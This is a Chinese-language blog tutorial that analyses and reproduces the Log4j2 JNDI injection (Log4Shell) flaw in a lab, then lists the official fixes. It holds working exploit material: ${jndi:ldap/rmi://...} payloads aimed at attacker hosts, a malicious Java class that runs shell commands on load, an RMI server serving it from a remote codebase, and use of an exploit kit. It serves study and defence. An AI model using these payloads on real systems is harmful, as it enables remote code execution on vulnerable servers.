Log4j2日志框架JNDI注入漏洞分析与复现

1、漏洞背景

大家在实际开发中,几乎无可避免的需要用到日志框架,不管你是前端后端客户端,他们可以追踪和记录我们的程序运行中的信息,我们可以利用日志很快定位问题,追踪分析。

而对于Java开发人员来说,最常用的日志框架便是Log4j2logback,而本次漏洞的主角便是Apache Log4j2,它有一个特别强大的功能插件Lookups

image-20211214112321219

如果我们试图通过日志去输出一个程序中不存在的对象,而在其他地方,那么我们便可以通过这个插件去通过某些方式去查找目标内容,它只提供一种规范,具体使用哪些方式去查找,就依赖于下层各个实现的模块了

image-20211214112306937

2、JNDI介绍

本次漏洞源自其中的一个叫JNDI的实现,攻击者可以利用JDNI执行远程恶意代码

  • 什么是JNDI?下面看一下百度百科的解释:

JNDI(Java Naming and Directory Interface,Java命名和目录接口)是SUN公司提供的一种标准的Java命名系统接口,JNDI提供统一的客户端API,通过不同的访问提供者接口JNDI服务供应接口(SPI)的实现,由管理者将JNDI API映射为特定的命名服务和目录系统,使得Java应用程序可以和这些命名服务和目录服务之间进行交互。目录服务是命名服务的一种自然扩展。两者之间的关键差别是目录服务中对象不但可以有名称还可以有属性(例如,用户有email地址),而命名服务中对象没有属性

这段话的大致含义便是:有一个Key-Value结构的数据源,其中Key是一个名称,Value便是该名称代表的一个Java对象,你可以通过JNDI接口,传一个键值name进去从而获取想要的那个对象。注意百度百科其中说到,它也只是一种标准的命名系统接口,也只是一个上层封装,其并不参与数据源的查找实现,它支持了很多种具体的数据源,详见下图

image-20211214114240492

本文主要示例其中两种数据源实现,一种是LDAP,另一种是RMI

  • LDAP

LDAPLightweight Directory Access Protocol)即轻量级目录访问协议,划重点,它也是一个协议,约定了 ClientServer 之间的信息交互格式、使用的端口号、认证方式等内容。它是一个为查询、浏览和搜索而优化的专业分布式数据库,就像Linux/Unix系统中的文件目录一样。它有优异的读性能,但写性能差,并且没有事务处理、回滚等复杂功能,不适于存储修改频繁的数据,所以目录天生是用来查询的。

  • RMI

RMI(Remote Method Invocation)即远程方法调用,是用JavaJDK1.2中实现的,它大大增强了Java开发分布式应用的能力。其巨大的威力就体现在它强大的开发分布式网络应用的能力上,而RMI就是开发百分之百纯Java的网络分布式应用系统的核心解决方案之一。其实它可以被看作是RPCJava版本。但是传统RPC并不能很好地应用于分布式对象系统。而Java RMI 则支持存储于不同JVM地址空间的程序级对象之间彼此进行通信,实现远程对象之间的无缝远程调用。

3、漏洞原理

假如某一个Java程序中,将浏览器输入的内容记录到了日志中:

@PostMapping("/create")
@ApiOperation(value = "创建Agent", notes = "创建Agent")
public ResultData<Map<Integer, AgentModel>> createAgent(@RequestBody AgentModel agentModel, HttpServletRequest request) {
    log.info(request.getRemoteHost() + "request create agentModel :" + agentModel);
}

网络安全中有一个准则:不要信任用户输入的任何信息

这其中,AgentModel属于外界输入的信息,而不是自己程序里定义出来的。只要是外界输入的,就有可能存在恶意的内容。比如这样:

${jndi:rmi://x.x.x.x:1099/hack}

接下来,Log4j2将会对这行要输出的字符串进行解析。

  • 解析到字符串中有 ${},便会将其中的内容单独处理。

  • 单独解析到,jndi发现是JNDI扩展内容。

  • 便按照JNDI的解析方式再进一步解析

  • 进一步解析发现了是LDAP协议,LDAP服务器在x.x.x.x,要查找的keyhack

  • 调用具体LDAP的模块去请求对应的数据。

这将会去请求一个不会被服务器验证的未知来源的数据,比如一个包含恶意代码的Java对象

Java对象一般只存在于内存中,但也可以通过序列化的方式将其存储到文件中,或者通过网络传输。前面已经提到过了,JNDI支持一个叫命名引用(Naming References)的方式,远程下载一个class文件,然后在本地的程序环境中构建这个对象。

其实这种JNDI 注入的攻击方式存在时间也不短了,在2016年的BlackHat上,@pwntester分享了通过JNDI注入进行RCE利用的方法。这一利用方式在2016年的spring-tx.jar反序列化漏洞和2017FastJson反序列化漏洞利用等多个场景中均有出现。

4、复现

保证JDK版本在1.8u121以下

4.1、使用JNDI 测试服务器

首先我们准备一台JNDI测试服务器虚拟机,用于JNDI注入,生成JNDI链接并启动后端相关服务,这里笔者使用了JNDI-Injection-Exploit

git clone https://github.com/welk1n/JNDI-Injection-Exploit

image-20211213194553721

编译打包

mvn package

运行,指定要执行的命令为打开计算器

java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "calc"

image-20211213194930996

笔者恶意代码运行环境为JDK1.8,只需关注图中框出的两个JNDL连接即可,现在在本地环境随意创建一个空项目,引入Log4j2依赖

<!-- https://mvnrepository.com/artifact/org.apache.logging.log4j/log4j-api -->
<dependency>
    <groupId>org.apache.logging.log4j</groupId>
    <artifactId>log4j-api</artifactId>
    <version>2.14.0</version>
</dependency>
<!-- https://mvnrepository.com/artifact/org.apache.logging.log4j/log4j-api -->
<dependency>
    <groupId>org.apache.logging.log4j</groupId>
    <artifactId>log4j-core</artifactId>
    <version>2.14.0</version>
</dependency>

添加Log4j2日志配置文件(网上一大堆)

<?xml version="1.0" encoding="UTF-8"?>
<!--
    Configuration后面的status,这个用于设置log4j2自身内部的信息输出,可以不设置,当设置成trace时,你会看到log4j2内部各种详细输出。
-->
<!--
    monitorInterval:Log4j能够自动检测修改配置 文件和重新配置本身,设置间隔秒数。
-->
<configuration status="error" monitorInterval="30">
    <!--先定义所有的appender-->
    <appenders>
        <!--这个输出控制台的配置-->
        <Console name="Console" target="SYSTEM_OUT">
            <!--控制台只输出level及以上级别的信息(onMatch),其他的直接拒绝(onMismatch)-->
            <ThresholdFilter level="trace" onMatch="ACCEPT" onMismatch="DENY"/>
            <!--这个都知道是输出日志的格式-->
            <PatternLayout pattern="%d{HH:mm:ss.SSS} %-5level %class{36} %L %M - %msg%xEx%n"/>
        </Console>
        <!--文件会打印出所有信息,这个log每次运行程序会自动清空,由append属性决定,这个也挺有用的,适合临时测试用-->
        <File name="log" fileName="log/test.log" append="false">
            <PatternLayout pattern="%d{HH:mm:ss.SSS} %-5level %class{36} %L %M - %msg%xEx%n"/>
        </File>
        <!-- 这个会打印出所有的信息,每次大小超过size,则这size大小的日志会自动存入按年份-月份建立的文件夹下面并进行压缩,作为存档-->
        <RollingFile name="RollingFile" fileName="logs/app.log"
                     filePattern="log/$${date:yyyy-MM}/app-%d{MM-dd-yyyy}-%i.log.gz">
            <PatternLayout pattern="%d{yyyy-MM-dd 'at' HH:mm:ss z} %-5level %class{36} %L %M - %msg%xEx%n"/>
            <SizeBasedTriggeringPolicy size="50MB"/>
            <!-- DefaultRolloverStrategy属性如不设置,则默认为最多同一文件夹下7个文件,这里设置了20 -->
            <DefaultRolloverStrategy max="20"/>
        </RollingFile>
    </appenders>
    <!--然后定义logger,只有定义了logger并引入的appender,appender才会生效-->
    <loggers>
        <!--建立一个默认的root的logger-->
        <root level="trace">
            <appender-ref ref="RollingFile"/>
            <appender-ref ref="Console"/>
        </root>
    </loggers>
</configuration>

4.1.1、LDAP

/**
 * @author PengHuanZhi
 * @date 2021年12月13日 17:12
 */
public class HackDemo {

    private static final Logger LOGGER = LogManager.getLogger(LogManager.ROOT_LOGGER_NAME);

    public static void main(String[] args) throws IOException {
        // 避免因为Java版本过高而无法触发此漏洞
        System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase", "true");
        System.setProperty("com.sun.jndi.ldap.object.trustURLCodebase", "true");
        // 此处ip需要使用本机局域网ip或网络ip,不能使用127.0.0.1
        LOGGER.info("${jndi:ldap://192.168.225.131:1389/l8lfo2}");
    }
}

运行

image-20211213195459622

4.1.2、RMI

/**
 * @author PengHuanZhi
 * @date 2021年12月13日 17:12
 */
public class HackDemo {

    private static final Logger LOGGER = LogManager.getLogger(LogManager.ROOT_LOGGER_NAME);

    public static void main(String[] args) throws IOException {
        // 避免因为Java版本过高而无法触发此漏洞
        System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase", "true");
        System.setProperty("com.sun.jndi.ldap.object.trustURLCodebase", "true");
        // 此处ip需要使用本机局域网ip或网络ip,不能使用127.0.0.1
        LOGGER.info("${jndi:rmi://192.168.225.131:1099/l8lfo2}");
    }
}

运行

image-20211213195643584

4.2、运行自定义RMI服务器

笔者默认你已经安装了Python环境,创建一个Http服务的文件夹,我这里创建了一个名为PythonServer的文件夹,在文件夹下方编写一个恶意代码:

import java.io.*;
import java.nio.charset.Charset;

/**
 * @author PengHuanZhi
 * @date 2021年12月13日 20:00
 */
public class HackText {
    static {
        System.out.println("I am Log4jRCE from remote!!!");
        String result = runCmd("C:\\", "ping www.baidu.com");
        System.out.println(result);
    }


    public static String runCmd(String cmdpath, String cmd) {
        StringBuilder result = new StringBuilder();
        File dir = new File(cmdpath);
        try {
            Process ps = Runtime.getRuntime().exec(cmd, null, dir);

            BufferedReader br = new BufferedReader(new InputStreamReader(ps.getInputStream(), Charset.forName("GBK")));
            String line;
            while ((line = br.readLine()) != null) {
                System.out.println(line);
                result.append(line).append("\n");
            }

            br.close();
            System.out.println("close ... ");
            ps.waitFor();
            System.out.println("wait over ...");

            return result.toString();
        } catch (IOException | InterruptedException ioe) {
            ioe.printStackTrace();
        }
        System.out.println("child thread donn");
        return "fail";
    }
}

然后使用javac命令将其编译为字节码文件,使用如下命令利用Python开启Http服务

python3 -m http.server 8080

image-20211213212140303

本地环境创建RMI恶意服务端,等待受害者连接

/**
 * @author PengHuanZhi
 * @date 2021年12月13日 19:58
 */
public class RmiServer {
    public static void main(String[] args) {
        System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase", "true");
        System.setProperty("com.sun.jndi.ldap.object.trustURLCodebase", "true");
        try {
            LocateRegistry.createRegistry(1099);
            Registry registry = LocateRegistry.getRegistry();
            System.out.println("Create RMI registry on port 1099!");
            // 前两个参数为类名,第三个参数为远程类地址
            Reference reference = new Reference("HackText", "HackText", "http://192.168.225.131:8080/");
            ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference);
            registry.bind("hack", referenceWrapper);
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}

模拟受害者服务器执行JNDI注入:

/**
 * @author PengHuanZhi
 * @date 2021年12月13日 17:12
 */
public class HackDemo {

    private static final Logger LOGGER = LogManager.getLogger(LogManager.ROOT_LOGGER_NAME);

    public static void main(String[] args) throws IOException {
        // 避免因为Java版本过高而无法触发此漏洞
        System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase", "true");
        System.setProperty("com.sun.jndi.ldap.object.trustURLCodebase", "true");
        // 此处ip需要使用本机局域网ip或网络ip,不能使用127.0.0.1
        LOGGER.info("${jndi:rmi://10.5.32.12:1099/hack}");
    }
}

先将恶意RMI服务开启,然后再执行受害者代码:

image-20211214110858318

5、修复

新版的log4j2已经修复了这个问题,下面是log4j2官网中关于JNDI lookup的说明:

image-20211214143200996

修复后的log4j2JNDI lookup中增加了很多的限制:

  • Log4j 2.15.1 开始,JNDI 操作要求需要显式配置 log4j2.enableJndi=true 系统属性或相应的环境变量,才能使用带有JNDI功能的Log4j2,否则将使用不带JNDI功能的Log4j2

  • 在开启了JNDI功能后, 仅支持 javaLDAPLDAPS协议。可以通过在 log4j2.allowedJndiProtocols 属性上指定它们来支持其他协议。

  • 不支持实现 Referenceable 接口的 Java 类。

  • 默认情况下仅支持 Java 原始类以及由 log4j2.allowedLdapClasses 属性指定的任何类。

  • 仅支持对本地主机名或 IP 地址的引用以及 log4j2.allowedLdapHosts 属性中列出的任何主机或 IP 地址。

以上几道限制,算是彻底封锁了通过打印日志去远程加载class的这条路了。

  • 2
    点赞
  • 8
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值